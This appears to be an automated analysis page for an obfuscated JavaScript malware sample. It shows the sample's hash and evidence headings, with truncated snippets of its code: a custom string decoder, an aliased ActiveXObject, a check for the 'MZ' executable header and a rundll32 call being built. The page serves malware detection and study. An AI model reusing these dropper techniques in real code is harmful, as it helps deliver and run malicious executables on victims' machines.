Hostile ^100% javascript-malware-collection Download

20161220_79561b1ca7ce682e5edad89630822a12.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256965fa7282cf9068e6d840ada6b3e46a9d6f3292794f3a0a3fb4171b2ddac01eb

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikenablingFROG2XCOP = 0;	
9     var SupchikenablingRazlomSS, SupchikenablingFROG2ddDccC2, SupchikenablingFROG2c3, SupchikenablingFROG2c4;
10
11     var SupchikenablingFROG2out = "";
12
13	 var SupchikenablingFROG2Supchikenablingka= this.replace(/FROSTICK/gi, SupchikenablingFROG2out);
14 var  SupchikenablingFROG2len = SupchikenablingFROG2sud …

charCodeAt() method call lines 18–20

4…  var Supchikenablingkoch = SupchikenablingFROG2Supchikenablingka.charCodeAt(SupchikenablingFROG2XCOP++) &(0x132- 0x33);
          SupchikenablingRazlomSS = levitron[Supchikenablingkoch];
      } while (SupchikenablingFROG2XCOP < Supchikena …

Builds characters with String.fromCharCode lines 27–30

41… +1== 0)
          break;
      SupchikenablingFROG2out += String['fromCharCode']((SupchikenablingRazlomSS << 2) | ((SupchikenablingFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikenablingFROG2c3 = Supchike …

ActiveXObject via local alias lines 185–188

19… ngFROG2d2=SupchikenablingFROG2DoUtra.pop();
186SupchikenablingFROG2fabled="Valar2Morgulis";
var SupchikenablingFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikenablingFROG2d2.split("45");SupchikenablingFROG2Native.SupchikenablingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikenablingFROG2$type(a)===b} …

Checks array for PE magic bytes lines 257–264

77… alabaev);	
if(SupchikenablingTalabaevLaa < 29989)return false;
if (SupchikenablingTalabaev[0]!= 77 || SupchikenablingTalabaev[1]!= 90)return false;		
SupchikenablingFROG2CHICKA = SupchikenablingFROG2CHICKA  + SupchikenablingFROG2SIDRENKOV;
REBEKK2(SupchikenablingFROG2CHICKA, SupchikenablingTalabaev );
262
var SupchikenablingFROG2ddsSSddSd = ",happy";
264SupchikenablingFROG2ddsSSddSd = (SupchikenablingFROG2StrokaParam2,"undl") + (SupchikenablingFROG2StrokaParam2,"l32 ") + Supch …